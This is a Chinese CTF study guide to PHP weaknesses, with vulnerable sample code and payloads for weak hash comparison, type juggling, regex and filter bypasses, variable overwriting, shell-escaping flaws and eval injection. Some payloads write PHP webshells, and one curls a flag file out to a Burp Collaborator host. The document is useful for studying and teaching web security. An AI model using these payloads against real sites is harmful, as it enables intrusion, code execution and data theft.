PHP特性总结
Hash比较缺陷
PHP在处理哈希字符串时,通过!=
或==
来对哈希值进行比较,它把每一个以0e
开头的哈希值都解释为0
,所以如果两个不同的密码经过哈希以后,其哈希值都是以0e
开头的,那么PHP
将会认为他们相同,都是0
example:
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b']) {
if (md5($_GET['a']) == md5($_GET['b'])) {
die('Flag:'.$flag);
}else
print 'Wrong';
}
}
这里需要我们输入的参数a和b要不相同,但是他们的MD5要相同,这明显就是利用Hash的比较缺陷
我们只需要找出两个数MD5加密之后是以0e
开头即可,常用的有以下几种
QNKCDZO ==> 0e830400451993494058024219903391
s878926199a ==> 0e545993274517709034328855841020
s155964671a ==> 0e342768416822451524974117254469
s214587387a ==> 0e848240448830537924465865611904
s214587387a ==> 0e848240448830537924465865611904
s878926199a ==> 0e545993274517709034328855841020
s1091221200a ==> 0e940624217856561557816327384675
同理SHA1也是这样
aaK1STfY ==> 0e76658526655756207688271159624026011393
aaO8zKZF ==> 0e89257456677279068558073954252716165668
MD5
md5函数绕过
md5()
函数获取不到数组的值,默认数组为0
example:
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] == $_GET['b'])
echo "a can not equal b";
else if (md5($_GET['a']) === md5($_GET['b'])) {
die("yes");
}else
print 'Wrong';
}
payload:
a[]=1&b[]=2
sha1()
函数无法处理数组类型,将报错并返回false
example:
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] == $_GET['b'])
echo "a can not equal b";
else if (sha1($_GET['a']) === sha1($_GET['b'])) {
die("yes");
}else
print 'Wrong';
}
payload:
a[]=1&b[]=2
md5强类型绕过
example:
if (isset($_GET['a']) and isset($_GET['b'])) {
if ((string)$_GET['a'] !== (string)$_GET['b']) {
if (md5($_GET['a']) === md5($_GET['b']))
die("yes");
}else
print 'Wrong';
}
例如这段代码,使用数组就不可行,因为最后转为字符串进行比较,所以只能构造两个MD5值相同的不同字符串,两组经过url编码后的值:
#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
intval函数绕过
intval ( mixed $value , int $base = 10 ) : int
value: 要转换成 integer 的数量值
base: 转化所使用的进制
- 特性一
成功时返回 value
的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
- 特性二
如果base
是 0,通过检测value
的格式来决定使用的进制: - 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
example:
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num === "4476") {
die("no no no");
}
if (intval($num,0) === 4476) {
echo "success!";
}else {
echo intval($num,0);
}
}
可以利用八进制和十六进制:
num=0x117c
num=010574
除此之外,这个函数还可以使用小数点来进行操作:
num=4476.56
- 特性三
如果$base
为0
直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换,但前提是进行弱类型比较
example:
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num == "4476") {
die("no no no");
}
if (intval($num,0) == 4476) {
echo "success!";
}else {
echo intval($num,0);
}
}
payload:
num=4476a
preg_match函数绕过
preg_match ( string $pattern , string $subject , array &$matches = null , int $flags = 0 , int $offset = 0 ) : int|false
pattern: 要搜索的模式,字符串类型。
subject: 输入字符串。
matches: 如果提供了参数matches
,它将被填充为搜索结果。 $matches[0]
将包含完整模式匹配到的文本, $matches[1]
将包含第一个捕获子组匹配到的文本,以此类推。
/m
preg_match('/^php$/im',$a)
/m
多行匹配,但是当出现换行符 %0a
的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。
回溯绕过
这里要理解正则匹配的过程
PHP正则利用的是NFA(非确定性有限自动机)。
遇到.*
或者.+
:直接匹配字符串末尾,然后一个个回溯,与之后的模式比较
遇到.*?
或者.+?
:非贪婪模式,在匹配到符合的字符串,停止,由下一个模式匹配,下一个模式不符合,回溯,再由.*?
匹配,直到下一个模式符合
example:
if (isset($_POST['f'])) {
$f = $_POST['f'];
if (preg_match('/<\?.*[(`;?>].*/is', $f)) {
die('bye!!');
}
if (stripos($f, '<?php phpinfo();') === FALSE) {
die('bye!!');
}
echo 'success!';
}
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));
的方式查看当前环境下的上限
回溯次数上限默认是100万,如果回溯次数超过了100万,preg_match返回的便不再是0或1,而是false,利用这个方法,可以写一个脚本,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF
import requests
url = 'http://127.0.0.1/test.php'
data = {
'f': '<?php phpinfo();//'+'a'*1000000
}
reponse = requests.post(url, data=data)
print(reponse.text)
preg_replace /e 模式下的代码执行
preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null
搜索 subject
中匹配 pattern
的部分,以 replacement
进行替换。
/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行
example:
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这里使用了/e模式,输入的参数和对应的参数值分别对应于匹配的模式和用于正则匹配的字符串,这两个参数都可以通过GET方式进行控制,但是第二个参数写定了strtolower("\\1")
,那么要如何执行代码呢
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以这里的 \1 实际上指定的是第一个子匹配项
当我们传入:
.*={${phpinfo()}}
即 GET 方式传入的参数名为.*
,值为 ${phpinfo()}
。
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
相当于:eval('strtolower({${phpinfo()}});');
而由于.
属于非法的参数名,在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效,因此可以换成\S*
。
下面再说说我们为什么要匹配到 {${phpinfo()}}
或者 ${phpinfo()}
,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()}
中的 phpinfo()
会被当做变量先执行,执行后,即变成 ${1}
(phpinfo()成功执行返回true)。
in_array宽松比较
in_array ( mixed $needle , array $haystack , bool $strict = false ) : bool
大海捞针,在大海(haystack
)中搜索针( needle
),如果没有设置 strict
则使用宽松的比较。
var_dump(in_array('1john',[1,2,7,9])); //bool(true)
var_dump(in_array('john', [1,2,7,9], true)); //bool(false)
var_dump(in_array(0, array('s'))); //bool(true)
var_dump(in_array('abc', [0,1,2,3])); //bool(true)
example:
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if (isset($_GET['n']) && in_array($_GET['n'], $allow)) {
file_put_contents($_GET['n'], $_POST['content']);
}
上面的函数用循环生成了一个只有数字的数组,这里我们传入的参数n只要有数字,那么in_array()
返回的结果就为true
,就可以而绕过只有数字的限制,从而能够把<?php system('cat *.php')>
写入了1.php
中
n=1.php
content=<?php system('cat *.php');?>
然后访问1.php
就可以通过命令执行获取我们想要的内容
变量覆盖
extract函数、parse_str函数
extract ( array &$array , int $flags = EXTR_OVERWRITE , string $prefix = "" ) : int
函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。
example:
$pass = '123';
$thepassword_123 = '456';
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
extract($_POST);
if ($pass == $thepassword_123) {
echo 'succss!';
}
}
POST
方法传输进来的值通过extrace()
函数处理,直接传入以POST
的方式传入pass=1&thepassword_123=1
就可以进行将原本的变量覆盖,并且使两个变量相等即可。
payload:
POST:pass=1&thepassword_123=1
还有就是parse_str()
和extract()
两个函数如果结合起来使用,也会造成变量覆盖
parse_str ( string $string , array &$result ) : void
如果 string
是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result
则会设置到该数组里 )。
example:
$key1 = '123';
$key2 = '456';
if (isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die('nononono!!');
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if ($key1 == '36d' && $key2 == '36d') {
echo 'succss!';
}
这里禁止了通过GET或POST方法传key的值,但是有parse_str()
代码中同时含有parse_str()
和extract($_POST)
可以先将GET方法请求的解析成变量,然后再利用extract() 函数从数组中将变量导入到当前的符号表,故payload为:
?_POST[key1]=36d&_POST[key2]=36d
$$变量覆盖
$$变量覆盖要具体结合代码来看,可能会需要借助某个参数进行传递值,也有可能使用$GLOBALS(引用全局作用域中可用的全部变量)来做题。
example:
$flag = '*****';
$error = '你还想要flag嘛?';
$suces = '既然你想要那就给你吧!';
foreach ($_GET as $key => $value) {
if($key === 'error') {
die('what are you doing?!');
}
$$key = $$value;
}
foreach ($_POST as $key => $value) {
if ($value === 'flag') {
die('what are you doing?!');
}
$$key = $$value;
}
if (!($_POST['flag']===$flag)) {
die($error);
}
echo "you are good".$flag."\n";
die($suces);
这里第一次看有点绕,先说主要思路,由于我们不知道$flag
的值,那么我们肯定会输出$error
,那么就需要想办法把$error
的值变成$flag
的值。
- 首先我们看第一个
foreach
foreach ($_GET as $key => $value) {
if($key === 'error') {
die('what are you doing?!');
}
$$key = $$value;
}
这里把我们GET方法传入的参数通过可变变量进行赋值,那么我们可以考虑是不是可以直接传入?error=flag
,那么在后端程序中就是把$error=$flag
,但是不允许我们传入error
名字的参数,因此要找一个中间过渡的参数。
- 接着看第二个
foreach
foreach ($_POST as $key => $value) {
if ($value === 'flag') {
die('what are you doing?!');
}
$$key = $$value;
这里和第一个foreach
一样,只是禁止了参数的值为flag
,也就是说同样不能通过传error=flag
,但是两个结合就可以绕过这个限制,我们设置一个中间过渡的参数test
,在GET方法传入test=flag
,在代码中相当于$test = $flag
,在POST方法中传入error=test
,在代码中相当于$error = $test
,这就能够把$flag
的值传给了$error
。
payload:
?test=flag
POST:error=test
通过数组绕过
ereg()函数
int ereg(string pattern, string originalstring, [array regs]);
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
- ereg()函数存在NULL截断漏洞,可以%00截断,遇到%00则默认为字符串的结束,所以可以绕过一些正则表达式的检查。
- ereg()只能处理字符串的,遇到数组做参数返回NULL。
- 空字符串的类型是
string
,NULL
的类型是NULL
,false、true
是boolean
类型
strpos()函数
strpos ( string $haystack , mixed $needle , int $offset = 0 ) : int
返回 needle
在 haystack
中首次出现的数字位置。
- strpos()函数如果传入数组,便会返回NULL
strcmp()函数
strcmp ( string $str1 , string $str2 ) : int
如果 str1
小于 str2
返回 < 0; 如果 str1
大于 str2
返回 > 0;如果两者相等,返回 0。
strcmp()
函数比较两个字符串(区分大小写),定义中是比较字符串类型的,但如果输入其他类型这个函数将发生错误,会返回NULL
example:
$pass = @$_POST['pass'];
$pass1 = '*****'; //你不知道的密码
if (isset($pass)) {
if (@!strcmp($pass, $pass1)) {
echo "success!!";
}else {
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
这里通过传入数组也可以让比较结果返回NULL
,NULL
再取反为TRUE
payload:
pass[]=1
PHP自身特性
PHP的变量名格式
example:
if (isset($_POST['C_T_F']) && isset($_POST['CTF_1.2'])) {
echo "success!";
}
$_POST['CTF_1.2']
无法传入参数,这是因为PHP变量名应该只有数字字母下划线。而且GET或POST方式传进去的变量名,会自动将空格
、+
、.
、[
转换为_
。
有一种特殊情况,特殊字符[
GET或POST方式传参时,变量名中的[
也会被替换为_
,但其后的字符就不会被替换了。
payload:
POST: C.T.F=1&CTF[1.2=1
PHP数字可与字符做运算
PHP中数字是可以和命令进行一些运算的,比如1-phpinfo()
是可以成功执行phpinfo语句,同样的还有+ - * | %
等。
example:
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
payload:
?v1=1&v2=1&v3=-phpinfo()-
escapeshellarg&escapeshellcmd函数绕过
escapeshellarg
escapeshellarg ( string $arg ) : string
把字符串转码为可以在 shell 命令里使用的参数。将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。
在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。
所以即使参数用了 escapeshellarg()
函数过滤单引号,但参数在拼接命令的时候如果用了双引号的话还是会导致命令执行的漏洞。
escapeshellcmd
escapeshellcmd ( string $command ) : string
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$\
, \x0A
和 \xFF
。 '
和 "
仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %
和 !
字符都会被空格代替。
两个函数都会对单引号进行处理,但是有区别的,如下:
对于单个单引号, escapeshellarg()
函数转义后,还会在左右各加一个单引号,但 escapeshellcmd()
函数是直接加一个转义符,对于成对的单引号, escapeshellcmd()
函数默认不转义,但 escapeshellarg()
函数转义
escapeshellarg&escapeshellcmd
那既然有这个差异,如果escapeshellcmd()
和 escapeshellarg()
一起出现会有什么问题
example:
$para = "127.0.0.1' -v -d a=1";
$a = escapeshellarg($para);
$b = escapeshellcmd($a);
$cmd = "curl ".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd);
结果:
分析:
- 一开始传入的参数:
127.0.0.1' -v -d a=1
- 由于
escapeshellarg()
先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
'127.0.0.1'\'' -v -d a=1'
- 经过
escapeshellcmd()
针对第二步处理之后的参数中的\
以及a=1'
中的单引号进行处理转义之后的效果如下所示:
'127.0.0.1'\\'' -v -d a=1\'
- 由于第三步处理之后的payload中的
\\
被解释成了\
而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:
所以这个payload可以简化为curl 127.0.0.1\ -v -d a=1'
,即向127.0.0.1\
发起请求,POST 数据为a=1'
。
example:
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
代码中是先使用了escapeshellarg()
函数,再使用escapeshellcmd()
函数便会引发上面的问题,将传入的参数经过上述两个函数执行后,再用system()
函数使用nmap
命令,把参数作为主机拼接进命令里面。这里需要知道的是namp命令的-oG
参数可以将命令和结果写进文件。
payload:
?host= '<?php phpinfo();?> -oG 1.php '
解释:
- 首先是
escapeshellarg()
会先对host变量中的单引号进行转义,并且转义之后,在\'
的左右两边再加上单引号,变成'\''
,最后会在参数两边加上单引号:
''\''<?php phpinfo();?> -oG 1.php '\'''
- 然后是
escapeshellcmd()
会对特定字符再加上一个\
进行转义,同时对配对的'
不会做处理:
''\\''\<\?php phpinfo\(\)\;\?\> -oG 1.php '\\'''
- 最后拼接到
system()
函数里面是
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php phpinfo\(\)\;\?\> -oG 1.php '\\'''
相当于:
nmap -T5 -sT -Pn --host-timeout 2 -F \ <?php phpinfo();?> -oG 1.php \\
这样就成功把这条命令写进了文件里,再访问这个文件即可进行利用。
值得一提的是我在本地测试的时候由于www-data用户没有创建文件的权限,因此复现不了,解决方法是创建一个文件夹给予所有权限然文件在里面运行即可。
PHP精度绕过缺陷
浮点运算
在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值
输出的是57,而我们预想的应该是58。简单的说因为PHP 通常使用 IEEE 754 双精度格式而且由于浮点数的精度有限的原因。除此之外取整而导致的最大相对误差为 1.11e-16
,当小数小于10^-16
后,PHP对于小数就大小不分了:
echo (1.0000000000001); //13位小数 输出:1.0000000000001
echo (1.0000000000000001); //16位小数 输出:1
example:
$
if(md5(trick1) === md5(trick2) && trick1 == trick2){
echo "successs!";
}
这道题是考察浮点数精度问题导致的大小比较以及函数处理问题,当小数小于10^-16
后,PHP对于小数就大小不分了
var_dump(1.0000000000000001 == 1) >> TRUE
var_dump(1.0000000000000001 === 1) >> FALSE
0.9999999999999999
(17个9)经过strlen
函数会判断为1
var_dump(0.99999999999999999 == 1 ); >> TRUE
var_dump(0.99999999999999999 === 1 ); >> FALSE
最后看一下md5函数处理后是否相同
var_dump(md5(0.99999999999999999) == md5(1) ); >> TRUE
var_dump(md5(0.99999999999999999) === md5(1) ); >> TRUE
因此当我们输入trick1=1
和trick2=0.99999999999999999
能满足题目中在弱比较中是相等的,而且md5的强比较也是相等。
PHP中类的运用
反射类ReflectionClass
首先看一下反射类的用法:
class fuc { //定义一个类
static function ec() {
echo '我是一个类';
}
}
$class=new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc=$class->newInstance(); //相当于实例化 fuc 类
$fuc->ec(); //执行 fuc 里的方法ec
/*最后输出:我是一个类*/
#还有其他用法
$ec=$class->getmethod('ec'); //获取fuc类中的ec方法
$fuc=$class->newInstance(); //实例化
$ec->invoke($fuc); //执行ec方法
example:
highlight_file(__FILE__);
//这一部分的类由其他文件引入,用户不可见
class aurora { //定义一个类
public $Flag_is_Aurora = 1;
}
//以下是用户可见部分
$aurora = new aurora();
//flag is in class aurora
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
eval("$v2('aurora')$v3");
}
payload:
v1=1&v2=echo new ReflectionClass&v3=;
输入一个数字和两个字符让$v0
的值为TURE,然后构造eval()
函数里面执行的命令为eval(echo new ReflectionClass('aurora');)
,执行的结果如下图:
把类里面属性和方法的名字都能够显示出来。
异常处理类Exception
先简单了解一下PHP异常处理
<?php
// 创建一个有异常处理的函数
function checkNum($number) {
if($number>1) {
throw new Exception("变量值必须小于等于 1");
}
return true;
}
// 在 try 块 触发异常
try {
checkNum(2);
// 如果抛出异常,以下文本不会输出
echo '如果输出该内容,说明 $number 变量';
}
// 捕获异常
catch(Exception $e) {
echo 'Message: ' .$e->getMessage();
}
?>
上面代码将得到类似这样一个错误:Message: 变量值必须小于等于 1
example:
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])) {
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)) {
eval("echo new $v1($v2());");
}
}
这里看似用正则把不是字母的字符串都过滤了,实际上这里的正则没写好,只要第一个字符是字母即可绕过。这里可以直接new一个Exception运行我们想要的命令就可以把内容回显出来。
payload:
?v1=Exception&v2=system('ls')
内置类FilesystemIterator
PHP使用FilesystemIterator迭代器遍历目录
$a = new FilesystemIterator('.');
while($a->valid()) { //判断是否到底
echo $a->getFilename()."\n"; //输出文件或者文件夹
$a->next(); //指针移向下一个
}
这样会把当前文件夹里面所有的文件和目录都输出出来。
example:
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
getcwd ( ) : string|false
成功则返回当前工作目录,失败返回 false
。
payload:
?v1=FilesystemIterator&v2=getcwd
会显示当前文件夹中的最后一个文件。
/proc/self/root绕过is_file函数
is_file ( string $filename ) : bool
判断给定文件名是否为一个正常的文件。
在linux中/proc/self/root
是指向根目录的,将/proc/self/root
重复一定次数就可以绕过is_file()
函数
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/flag
当然这里也有其他的绕过方法:
- 使用伪协议
var_dump(is_file('test.php')); // bool(true)
var_dump(is_file('php://filter/convert.base64-encode/resource=test.php')); // bool(false)
var_dump(is_file('file:///flag')); // bool(true)
如果过滤了php和filter,可以换一种伪协议
?file=compress.zlib:///flag
gettext&get_defined_vars函数
php的扩展gettext实现程序的国际化
_()是gettext()
函数的简写形式,能够利用这点绕过字符的限制。
example:
$flag = "success!";
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)) {
var_dump(call_user_func(call_user_func($f1, $f2)));
} else {
echo "嗯哼?";
}
function check($str) {
return !preg_match('/[0-9]|[a-z]/i' ,$str);
}
call_user_func ( callable $callback , mixed $parameter = ? , mixed $... = ? ) : mixed
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
那既然变量$f1
过滤数字和字母,就可以使用该符号来代替这个函数,这样便可以绕过第一个嵌套,然后再由最外面的call_user_func()
执行命令
- 第一步
call_user_func(call_user_func('_','phpinfo')) >> call_user_func(_('phpinfo'))
- 第二步
call_user_func(_('phpinfo')) >> call_user_func('phpinfo')
- 第三步
call_user_func('phpinfo') >> phpinfo()
最后就能够把PHP的配置信息显示出来。
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
_(get_defined_vars)
即可把所有变量输出。
Linux tee命令
tee [参数] [文件]
tee
命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
tee file1 file2 //将输入的内容覆盖到这两个文件里面
ls|tee 1.txt //将ls命令的输出显示并保存到1.txt文件中
example:
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
由于这里使用的是exec()
函数执行命令,结果并不会回显,因此这里我们需要把想要获取的内容写入到文件里面,再访问这个文件。用黑名单过滤了>
,因此无法写入文件,过滤php
,也就无法写入一句话木马,但是可以利用tee
命令将其他命令返回的结果写入到文件中,payload:
?c=cat /flag|tee tmp
然后访问tmp即可。
传参变量覆盖
假设有这么一段代码:
$F = $_GET['F'];
eval(substr($F, 0, 5));
当我们传的参数是$F
本身,就会出现变量覆盖:
?F=`$F`;sleep 5
- 首先是经过
substr()
函数
eval(substr($F, 0, 5)); >> eval(`$F`;);
- 然后是反引号执行
eval(`$F`;); >> eval(`$F`;sleep 5;);
执行后会休眠5秒。
example:
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
这里curl命令没有被过滤。可以借此来把文件内容外带出来。这里还要用到Burp 的Collaborator client。
payload:
?F=`$F `;curl -X POST -F test=@flag.txt 5jpx4t2xg6r9iyulvgaypqw37udk19.burpcollaborator.net
call_user_func读取类中的函数
call_user_func函数可以调用类中的函数
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
定义一个类myclass及类方法say_hello
,call_user_func()
的输入参数变为一个数组,数组第一个元素为对象名、第二个元素为参数
example:
class myclass {
static function getFlag()
{
echo file_get_contents("flag.txt");
}
}
call_user_func($_GET['a']);
这个例子就是一个简单的利用了call_user_func()
能够调用类里面的方法,payload:
?a[0]=myclass&a[1]=getFlag
实际上,利用array()动态调用类不需要通过call_user_func()
,example:
<?php
class A{
public function test(){
echo "aaaa";
}
}
$tr = array(new A(),"test");
$tr();//这样就可以直接调用到A的test函数
create_function函数
create_function ( string $args , string $code ) : string
从传递的参数创建匿名函数,并为其返回一个唯一的名称。
create_function('$a,$b','return 111');
相当于如下:
function a($a, $b){
return 111;
}
所以那如果我们这样进行构造payload
create_function('$a,$b','return 111;}phpinfo();//');
//相当于如下:
function a($a, $b){
return 111;}phpinfo();
}
phpinfo()
便会被执行。
%0c
绕过trim()函数过滤
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
if($num=='36'){
echo 'success!';
}
}
这里需要一个数字等于36,但是不全等于36,而且经过trim()
函数之后仍然不全等于36.
这里写一个脚本找一下:
<?php
for ($i = 0; $i <= 128; $i++) {
$a = chr($i) . '36';
if (trim($a) !== '36' && is_numeric($a)) {
echo urlencode(chr($i)) . "\n";
}
}
发现%0C
,也就是\f
分页符可以利用,不会被trim过滤掉,也就是说
var_dump(is_numeric("\f36")); ////bool(true)
var_dump("\f36"=="36"); //bool(true)
var_dump("\f36"==="36"); //bool(false)
var_dump(trim("\f36")==='36'); //bool(false)
PHP松散比较
example:
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
可以看到0和字符串进行弱比较的时候返回的是true,因为==
在进行比较的时候,会先将字符串类型转化成相同,再比较,而ctfshow是一个字符串,和0相比较的时候要转换成数字,ctfshow转换成数字的时候是0,所以相等返回true
而intval()函数会将非数字或非数字字符串转换为0,也就是我们传入的f1和f2互相构造即可,我们可以构造一个md5,这样intval就会返回0
payload:
post:
f1=md5&f2=md5
json绕过
define('key', 'flag{4}');
if (isset($_POST['a'])) {
$a = json_decode($_POST['a']);
if ($a->key == $key) {
echo "flag" . key;
} else {
echo "不相等";
}
} else{
echo "a不存在";
}
输入一个json类型的字符串,json_decode()
函数解密成一个数组,判断数组中 key 的值是否等于 key 的值 。虽然 key 的值我们不知道,但是可以利用 0=="string"
这种形式绕过。
输入:a={'key':0}
即可